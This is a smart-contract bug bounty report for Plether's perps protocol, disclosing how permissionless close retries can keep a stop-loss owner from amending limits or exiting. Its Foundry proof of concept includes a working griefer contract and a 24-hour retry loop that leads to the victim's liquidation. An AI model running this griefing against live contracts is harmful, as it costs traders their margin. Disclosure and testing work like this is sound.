Immunefi Audit Competitions
Plether | Audit Competition

#100038 [SC-High] Permissionless retries preempt a protection owner's amendment

Submitted on Nov 16th 2026 at 05:51:23 UTC by @gandu for Audit Competition | Plether

Description

Brief/Intro

When a stop-loss close fails its stored financial limits, its owner is meant to loosen those limits while the protection is Latched. Anyone can retry the same doomed close and move protection back to Triggered before the owner amends it. A caller who maintains that cycle can keep the documented amendment and ordinary close paths unavailable for 24 hours in the supplied test, leaving the position exposed.

Vulnerability Details

  1. A trader arms position protection with financial limits for the eventual close.
  2. A valid trigger can make one limit insufficient, such as required close notional exceeding the stored maximum.
  3. The failed attempt leaves protection Latched, the state in which the owner may amend those limits.
  4. amendLatchedPositionProtectionCloseLimits also requires the account to have no pending Router order.
  5. retryPositionProtectionClose is permissionless and creates a new attempt using the unchanged stored limits.
  6. Creating that attempt changes protection status to Triggered and places an order in the account queue.
  7. During the pending retry, amendment fails its state condition; cancellation and an ordinary close are also blocked by active protection.
  8. The attempt can fail or expire without changing the position, returning protection to Latched.
  9. A third party can end the doomed attempt and queue its replacement in one transaction, so the owner sees Triggered again at the transaction boundary.
  10. An EOA owner can end the pending attempt and amend in two consecutive transactions if no retry interposes; a contract wallet can combine those actions atomically.
if (protection.status != PositionProtectionTypes.PositionProtectionStatus.Latched) {
    revert OrderRouter__ProtectionNotLatched();
}
if (IPositionProtectionRouterHost(ROUTER).pendingOrderCounts(msg.sender) != 0) {
    revert OrderRouter__PendingOrdersExist();
}

Impact Details

The 24-hour PoC repeatedly expires or executes the failing attempt and retries it, while the owner's ordinary amendment and exit calls remain blocked and the position stays exposed. An adverse price move later liquidates the position in that test. The confirmed impact selection is a temporary, attacker-maintained obstruction lasting at least 24 hours in the tested sequence. It is not an unavoidable lock for every owner: successful EOA recovery depends on consecutive transaction ordering, while sustained obstruction depends on continued third-party transactions and gas expenditure.

Proof of Concept

Proof of Concept

Proof of Concept

Keep Liq_LatchedAmendGrief.t.sol and Skeptic_LatchedEoaEscape.t.sol in packages/perps/test/poc/; the second imports the first. The first targeted test runs the long retry cycle. The second file tests both EOA outcomes: amendment succeeds when the owner's two transactions land consecutively and fails when a third-party retry intervenes. No in-scope source contract is changed.

forge test --root packages/perps --offline --match-path 'test/poc/Liq_LatchedAmendGrief.t.sol' --match-test test_Grief_PermissionlessRetryPinsStaleLimitsAndForcesLiquidation -vv
forge test --root packages/perps --offline --match-path 'test/poc/Skeptic_LatchedEoaEscape.t.sol' -vv

The submitted report records the targeted tests as passing. These suites were not rerun for this rewrite.

// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {IOrderRouterErrors} from "@plether/perps/interfaces/IOrderRouterErrors.sol";
import {IPositionProtectionActions} from "@plether/perps/interfaces/IPositionProtectionActions.sol";
import {IPositionProtectionViews} from "@plether/perps/interfaces/IPositionProtectionViews.sol";
import {PositionProtectionTypes} from "@plether/perps/interfaces/PositionProtectionTypes.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";

/// @notice Permissionless griefer: keeps a Latched protection permanently "pending" so the owner can never
///         amend its stale close limits (amendment requires zero pending orders) and can never exit the position.
contract LatchGriefer {

    OrderRouter internal immutable ROUTER;
    IPositionProtectionActions internal immutable BOOK;

    constructor(
        OrderRouter router_,
        IPositionProtectionActions book_
    ) {
        ROUTER = router_;
        BOOK = book_;
    }

    /// @dev Execute the doomed attempt (it fails on the stale ceiling and relatches) and re-queue it atomically.
    function executeAndRetry(
        uint64 orderId,
        bytes[] calldata data,
        uint64 protectionId
    ) external returns (uint64) {
        ROUTER.executeOrder(orderId, data);
        return BOOK.retryPositionProtectionClose(protectionId);
    }

    /// @dev Oracle-free variant: expire the attempt (relatches) and re-queue it atomically. Costs only gas.
    function expireAndRetry(
        uint64 orderId,
        uint64 protectionId
    ) external returns (uint64) {
        ROUTER.expireOrder(orderId);
        return BOOK.retryPositionProtectionClose(protectionId);
    }

}

/// @notice A smart-contract-wallet owner (used only to bound severity).
contract OwnerBundle {

    OrderRouter internal immutable ROUTER;
    IPositionProtectionActions internal immutable BOOK;

    constructor(
        OrderRouter router_,
        IPositionProtectionActions book_
    ) {
        ROUTER = router_;
        BOOK = book_;
    }

    function create(
        PositionProtectionTypes.PositionProtectionParams calldata params
    ) external returns (uint64) {
        return BOOK.createPositionProtection(params);
    }

    function failAmendRetry(
        uint64 orderId,
        bytes[] calldata data,
        uint64 protectionId,
        PositionProtectionTypes.CloseFinancialLimits calldata limits
    ) external returns (uint64) {
        ROUTER.executeOrder(orderId, data);
        BOOK.amendLatchedPositionProtectionCloseLimits(protectionId, limits);
        return BOOK.retryPositionProtectionClose(protectionId);
    }

}

contract Liq_LatchedAmendGriefTest is BasePerpTest {

    IPositionProtectionActions internal protectionActions;
    IPositionProtectionViews internal protectionViews;

    address internal constant ALICE = address(0xA11CE);
    address internal constant HONEST_KEEPER = address(0xE0EC);
    address internal constant TRIGGER_KEEPER = address(0x7106);
    address internal constant LIQUIDATOR = address(0x1D0D);

    uint256 internal constant MARK_PRICE = 1e8; // 1.00
    uint256 internal constant STOP_LOSS = 105_000_000; // 1.05 (LONG loses when the basket rises)
    uint256 internal constant GAP_PRICE = 110_000_000; // 1.10 gap through the stop
    uint256 internal constant CRASH_PRICE = 125_000_000; // 1.25 later
    uint256 internal constant SIZE = 10_000e18; // 100 lots -> 10,000 USDG notional at 1.00
    uint256 internal constant MARGIN = 2000e6;
    // Trader's slippage guard: "do not close above ~1.06" (notional 10,600). The 1.10 gap breaches it.
    uint256 internal constant NOTIONAL_CEILING = 10_600e6;

    LatchGriefer internal griefer;

    /// @dev Release parameters from DEPLOYMENT.md (VPI disabled to isolate the protection lifecycle).
    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: 0,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function setUp() public override {
        super.setUp();
        protectionActions = IPositionProtectionActions(address(router.positionProtectionBook()));
        protectionViews = IPositionProtectionViews(address(router.positionProtectionBook()));
        griefer = new LatchGriefer(OrderRouter(payable(address(router))), protectionActions);
        _fundTrader(ALICE, 3000e6);
        _refreshMark(MARK_PRICE);
    }

    // ------------------------------------------------------------------ helpers

    function _refreshMark(
        uint256 price
    ) internal {
        if (vm.getBlockTimestamp() <= engine.lastMarkTime()) {
            vm.warp(uint256(engine.lastMarkTime()) + 1);
        }
        router.updateMarkPrice(_livePriceData(price));
    }

    function _livePriceData(
        uint256 price
    ) internal view returns (bytes[] memory updateData) {
        bytes32[] memory ids = _basePythFeedIds();
        MockPyth.FeedUpdate[] memory ticks = new MockPyth.FeedUpdate[](ids.length);
        uint256 previous = engine.lastMarkTime();
        for (uint256 i; i < ids.length; ++i) {
            ticks[i] =
                MockPyth.FeedUpdate(ids[i], MockPyth.MockPrice(int64(uint64(price)), 0, -8, vm.getBlockTimestamp(), previous));
        }
        updateData = new bytes[](1);
        updateData[0] = abi.encode(ticks);
    }

    function _armStopLoss() internal returns (uint64 protectionId) {
        _open(ALICE, CfdTypes.Side.LONG, SIZE, MARGIN, MARK_PRICE);
        PositionProtectionTypes.PositionProtectionParams memory params;
        params.stopLossTriggerPrice = STOP_LOSS;
        params.closeLimits = PositionProtectionTypes.CloseFinancialLimits({
            maxExecutionNotionalAssets: NOTIONAL_CEILING,
            maxGrossAccountDebitAssets: type(uint256).max,
            maxActionChargeAssets: type(uint256).max,
            maxExplicitFeesAssets: type(uint256).max
        });
        vm.prank(ALICE);
        protectionId = protectionActions.createPositionProtection(params);
    }

    /// @dev Market gaps through the stop; any keeper triggers; the honest keeper's execution fails on the ceiling.
    function _gapTriggerAndFirstFailure(
        uint64 protectionId
    ) internal returns (uint64 linkedOrderId) {
        _mockPythUpdateData(GAP_PRICE);
        vm.prank(TRIGGER_KEEPER);
        linkedOrderId = protectionActions.triggerPositionProtection(protectionId, _livePriceData(GAP_PRICE));
    }

    function _status(
        uint64 protectionId
    ) internal view returns (PositionProtectionTypes.PositionProtectionStatus) {
        return protectionViews.getPositionProtection(protectionId).status;
    }

    function _loosened() internal pure returns (PositionProtectionTypes.CloseFinancialLimits memory l) {
        l.maxExecutionNotionalAssets = type(uint256).max;
        l.maxGrossAccountDebitAssets = type(uint256).max;
        l.maxActionChargeAssets = type(uint256).max;
        l.maxExplicitFeesAssets = type(uint256).max;
    }

    function _assertAliceHasNoExit(
        uint64 protectionId
    ) internal {
        // 1. Amendment of the stale limit is blocked while the griefer's attempt is pending (status is Triggered,
        //    never Latched, at every transaction boundary the owner can observe).
        vm.prank(ALICE);
        vm.expectRevert(IOrderRouterErrors.OrderRouter__ProtectionNotLatched.selector);
        protectionActions.amendLatchedPositionProtectionCloseLimits(protectionId, _loosened());
        // 2. An ordinary close commitment is blocked by the active protection lock.
        vm.prank(ALICE);
        vm.expectRevert(IOrderRouterErrors.OrderRouter__ProtectionActive.selector);
        router.commitOrder(CfdTypes.Side.LONG, SIZE, 0, 0, true);
        // 3. Cancelling (plain or atomic exit) is only possible from PendingOpen/Armed.
        vm.prank(ALICE);
        vm.expectRevert(IOrderRouterErrors.OrderRouter__ProtectionNotArmed.selector);
        protectionActions.cancelPositionProtection(protectionId);
        OrderV3Types.OrderRequest memory exitRequest = _dummyCloseRequest();
        vm.prank(ALICE);
        vm.expectRevert(IOrderRouterErrors.OrderRouter__ProtectionNotArmed.selector);
        protectionActions.cancelPositionProtectionAndCommitClose(protectionId, exitRequest);
    }

    function _dummyCloseRequest() internal view returns (OrderV3Types.OrderRequest memory request) {
        request.clientOrderId = keccak256("alice-exit");
        request.side = CfdTypes.Side.LONG;
        request.sizeDelta = SIZE;
        request.targetPrice = type(uint256).max;
        request.isClose = true;
        request.bounds.submitBy = uint64(vm.getBlockTimestamp());
        request.bounds.executionWindowSeconds = 60;
        request.bounds.allowedExecutionModes = 7;
        request.bounds.expectedConfigHash = router.lifecycleBook().currentExecutionConfigHash();
        request.bounds.maxExecutionNotionalAssets = type(uint256).max;
        request.bounds.maxGrossAccountDebitAssets = type(uint256).max;
        request.bounds.maxActionChargeAssets = type(uint256).max;
        request.bounds.maxExplicitFeesAssets = type(uint256).max;
        request.bounds.maxPostPositionSize = type(uint256).max;
        request.bounds.maxPostLeverageBps = type(uint32).max;
    }

    // ------------------------------------------------------------------ control

    /// @notice Without interference the owner amends the stale ceiling and exits at the gap price.
    function test_Control_OwnerAmendsAndExitsAfterLatch() public {
        uint64 protectionId = _armStopLoss();
        uint64 firstAttempt = _gapTriggerAndFirstFailure(protectionId);

        bytes[] memory execData = _mockPythUpdateData(GAP_PRICE);
        vm.prank(HONEST_KEEPER);
        OrderV3Types.ExecutionResult memory r = router.executeOrder(firstAttempt, execData);
        assertEq(uint8(r.terminalReason), uint8(OrderV3Types.TerminalReason.ConstraintViolation));
        assertEq(uint8(_status(protectionId)), uint8(PositionProtectionTypes.PositionProtectionStatus.Latched));

        vm.prank(ALICE);
        protectionActions.amendLatchedPositionProtectionCloseLimits(protectionId, _loosened());
        uint64 retryId = protectionActions.retryPositionProtectionClose(protectionId);
        execData = _mockPythUpdateData(GAP_PRICE);
        vm.prank(HONEST_KEEPER);
        r = router.executeOrder(retryId, execData);
        assertEq(uint8(r.status), uint8(OrderV3Types.LifecycleStatus.Executed), "amended retry closes");
        (uint256 size,,,,,,) = engine.positions(ALICE);
        assertEq(size, 0);
        emit log_named_decimal_uint("control: Alice clearinghouse balance after exit", clearinghouse.balanceAssets(ALICE), 6);
        // ~3000 deposit - 1000 price loss - fees/carry
        assertGt(clearinghouse.balanceAssets(ALICE), 1990e6);
    }

    /// @notice Severity bound: an owner that is a smart-contract wallet can escape by atomically failing the live
    ///         attempt, amending, and retrying in one transaction (the griefer cannot wedge a tx in between).
    function test_Bound_ContractOwnerCanEscapeAtomically() public {
        OwnerBundle bundle = new OwnerBundle(OrderRouter(payable(address(router))), protectionActions);
        _fundTrader(address(bundle), 3000e6);
        _open(address(bundle), CfdTypes.Side.LONG, SIZE, MARGIN, MARK_PRICE);
        PositionProtectionTypes.PositionProtectionParams memory params;
        params.stopLossTriggerPrice = STOP_LOSS;
        params.closeLimits = PositionProtectionTypes.CloseFinancialLimits({
            maxExecutionNotionalAssets: NOTIONAL_CEILING,
            maxGrossAccountDebitAssets: type(uint256).max,
            maxActionChargeAssets: type(uint256).max,
            maxExplicitFeesAssets: type(uint256).max
        });
        uint64 protectionId = bundle.create(params);
        _mockPythUpdateData(GAP_PRICE);
        vm.prank(TRIGGER_KEEPER);
        uint64 attempt = protectionActions.triggerPositionProtection(protectionId, _livePriceData(GAP_PRICE));
        // Griefer pins once.
        bytes[] memory execData = _mockPythUpdateData(GAP_PRICE);
        attempt = griefer.executeAndRetry(attempt, execData, protectionId);
        // Owner bundle: fail the pinned attempt, amend, re-queue with loosened limits -- all in one tx.
        execData = _mockPythUpdateData(GAP_PRICE);
        uint64 fixedAttempt = bundle.failAmendRetry(attempt, execData, protectionId, _loosened());
        execData = _mockPythUpdateData(GAP_PRICE);
        OrderV3Types.ExecutionResult memory r = router.executeOrder(fixedAttempt, execData);
        assertEq(uint8(r.status), uint8(OrderV3Types.LifecycleStatus.Executed), "atomic owner bundle escapes");
    }

    // ------------------------------------------------------------------ attack

    function test_Grief_PermissionlessRetryPinsStaleLimitsAndForcesLiquidation() public {
        uint64 protectionId = _armStopLoss();
        uint64 attempt = _gapTriggerAndFirstFailure(protectionId);

        // The first attempt fails on the trader's stale ceiling. The griefer executes it and atomically re-queues a
        // fresh attempt with the SAME stale ceiling, so the owner never observes Latched-with-no-pending-order.
        bytes[] memory execData = _mockPythUpdateData(GAP_PRICE);
        attempt = griefer.executeAndRetry(attempt, execData, protectionId);
        assertEq(uint8(_status(protectionId)), uint8(PositionProtectionTypes.PositionProtectionStatus.Triggered));
        _assertAliceHasNoExit(protectionId);
        // Actions that remain available to the victim: addMargin, deposit, and withdrawal of unpledged free
        // settlement (health-gated). None of them reduces exposure or exits the position.
        vm.prank(ALICE);
        engine.addMargin(ALICE, 10e6);
        _fundTrader(ALICE, 10e6);
        _refreshMark(GAP_PRICE);
        vm.prank(ALICE);
        clearinghouse.withdraw(ALICE, 10e6);

        // Sustain for 24 hours with the oracle-free expire+retry loop (one call per 61 s execution window).
        uint256 cycles;
        uint256 totalGas;
        uint256 start = vm.getBlockTimestamp();
        while (vm.getBlockTimestamp() < start + 24 hours) {
            uint64 deadline = router.lifecycleBook().orderTiming(attempt).executionDeadline;
            vm.warp(uint256(deadline) + 1);
            vm.roll(vm.getBlockNumber() + 1);
            uint256 g = gasleft();
            attempt = griefer.expireAndRetry(attempt, protectionId);
            totalGas += g - gasleft();
            ++cycles;
        }
        emit log_named_uint("griefing cycles in 24h", cycles);
        emit log_named_uint("average griefer gas per cycle", totalGas / cycles);
        _assertAliceHasNoExit(protectionId);
        (uint256 sizeAfterDay,,,,,,) = engine.positions(ALICE);
        assertEq(sizeAfterDay, SIZE, "after 24h of griefing the owner still cannot leave the position");

        // The market keeps moving against the trapped LONG; a liquidator takes the position.
        vm.warp(vm.getBlockTimestamp() + 1);
        vm.roll(vm.getBlockNumber() + 1);
        vm.prank(LIQUIDATOR);
        router.executeLiquidation(ALICE, _livePriceData(CRASH_PRICE));
        (uint256 sizeEnd,,,,,,) = engine.positions(ALICE);
        assertEq(sizeEnd, 0, "position liquidated");
        assertEq(uint8(_status(protectionId)), uint8(PositionProtectionTypes.PositionProtectionStatus.Liquidated));

        uint256 griefedBalance = clearinghouse.balanceAssets(ALICE);
        emit log_named_decimal_uint("grief: Alice clearinghouse balance after liquidation", griefedBalance, 6);
        // Only the 1,000 USDG that was never pledged survives; the whole 2,000 USDG pledge is lost (vs ~1,000 lost
        // in the control path).
        assertLt(griefedBalance, 1000e6, "owner lost at least 1,000 USDG more than the control exit");
    }

}

// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {Liq_LatchedAmendGriefTest} from "./Liq_LatchedAmendGrief.t.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {PositionProtectionTypes} from "@plether/perps/interfaces/PositionProtectionTypes.sol";
import {IOrderRouterErrors} from "@plether/perps/interfaces/IOrderRouterErrors.sol";

/// @notice Skeptic check for finding 1: an ordinary EOA owner (no contract wallet, no 7702) escapes the pin with two
///         plain transactions sent back-to-back: (1) execute the pinned doomed attempt herself (it fails on her stale
///         ceiling and relatches), (2) amend. The griefer can only win by landing a retry BETWEEN tx1 and tx2.
contract Skeptic_LatchedEoaEscapeTest is Liq_LatchedAmendGriefTest {

    function test_AttackerInterposesBetweenEoaRecoveryTransactions() public {
        uint64 protectionId = _armStopLoss();
        uint64 attempt = _gapTriggerAndFirstFailure(protectionId);
        bytes[] memory data = _mockPythUpdateData(GAP_PRICE);
        attempt = griefer.executeAndRetry(attempt, data, protectionId);

        // Alice attempts the documented remedy after the griefer has queued an attempt.
        vm.prank(ALICE);
        vm.expectRevert(IOrderRouterErrors.OrderRouter__ProtectionNotLatched.selector);
        protectionActions.amendLatchedPositionProtectionCloseLimits(protectionId, _loosened());

        // Alice's first recovery transaction terminalizes that attempt and relatches.
        data = _mockPythUpdateData(GAP_PRICE);
        uint256 beforeGas = gasleft();
        vm.prank(ALICE);
        OrderV3Types.ExecutionResult memory r = router.executeOrder(attempt, data);
        uint256 recoveryGas = beforeGas - gasleft();
        assertEq(uint8(r.terminalReason), uint8(OrderV3Types.TerminalReason.ConstraintViolation));
        assertEq(uint8(_status(protectionId)), uint8(PositionProtectionTypes.PositionProtectionStatus.Latched));
        emit log_named_uint("Alice's extra terminalization gas, including test call overhead", recoveryGas);

        // If the griefer lands a retry before Alice's next EOA transaction, amend fails again.
        attempt = protectionActions.retryPositionProtectionClose(protectionId);
        vm.prank(ALICE);
        vm.expectRevert(IOrderRouterErrors.OrderRouter__ProtectionNotLatched.selector);
        protectionActions.amendLatchedPositionProtectionCloseLimits(protectionId, _loosened());

        // Alice can still escape if the two recovery transactions land consecutively.
        data = _mockPythUpdateData(GAP_PRICE);
        vm.prank(ALICE);
        r = router.executeOrder(attempt, data);
        assertEq(uint8(r.terminalReason), uint8(OrderV3Types.TerminalReason.ConstraintViolation));
        vm.prank(ALICE);
        protectionActions.amendLatchedPositionProtectionCloseLimits(protectionId, _loosened());
        uint64 finalAttempt = protectionActions.retryPositionProtectionClose(protectionId);
        data = _mockPythUpdateData(GAP_PRICE);
        r = router.executeOrder(finalAttempt, data);
        assertEq(uint8(r.status), uint8(OrderV3Types.LifecycleStatus.Executed));
    }

    function test_Skeptic_EoaOwnerEscapesWithTwoPlainTxs() public {
        uint64 protectionId = _armStopLoss();
        uint64 attempt = _gapTriggerAndFirstFailure(protectionId);
        bytes[] memory execData = _mockPythUpdateData(GAP_PRICE);
        attempt = griefer.executeAndRetry(attempt, execData, protectionId);

        // Griefer keeps cycling for a while.
        for (uint256 i; i < 10; ++i) {
            uint64 deadline = router.lifecycleBook().orderTiming(attempt).executionDeadline;
            vm.warp(uint256(deadline) + 1);
            vm.roll(vm.getBlockNumber() + 1);
            attempt = griefer.expireAndRetry(attempt, protectionId);
        }
        assertEq(uint8(_status(protectionId)), uint8(PositionProtectionTypes.PositionProtectionStatus.Triggered));

        // EOA tx 1 (any time inside the 60 s window, no race with the deadline): Alice executes the pinned attempt.
        execData = _mockPythUpdateData(GAP_PRICE);
        vm.prank(ALICE);
        OrderV3Types.ExecutionResult memory r = router.executeOrder(attempt, execData);
        assertEq(uint8(r.terminalReason), uint8(OrderV3Types.TerminalReason.ConstraintViolation));
        assertEq(uint8(_status(protectionId)), uint8(PositionProtectionTypes.PositionProtectionStatus.Latched));

        // EOA tx 2 (next nonce, same block): amend.
        vm.prank(ALICE);
        protectionActions.amendLatchedPositionProtectionCloseLimits(protectionId, _loosened());

        // Whatever the griefer does next, it can only queue the close with the loosened limits.
        uint64 retryId = protectionActions.retryPositionProtectionClose(protectionId);
        execData = _mockPythUpdateData(GAP_PRICE);
        r = router.executeOrder(retryId, execData);
        assertEq(uint8(r.status), uint8(OrderV3Types.LifecycleStatus.Executed), "EOA escaped");
        (uint256 size,,,,,,) = engine.positions(ALICE);
        assertEq(size, 0);
        emit log_named_decimal_uint("EOA escape: Alice balance after exit", clearinghouse.balanceAssets(ALICE), 6);
        assertGt(clearinghouse.balanceAssets(ALICE), 1990e6);
    }

}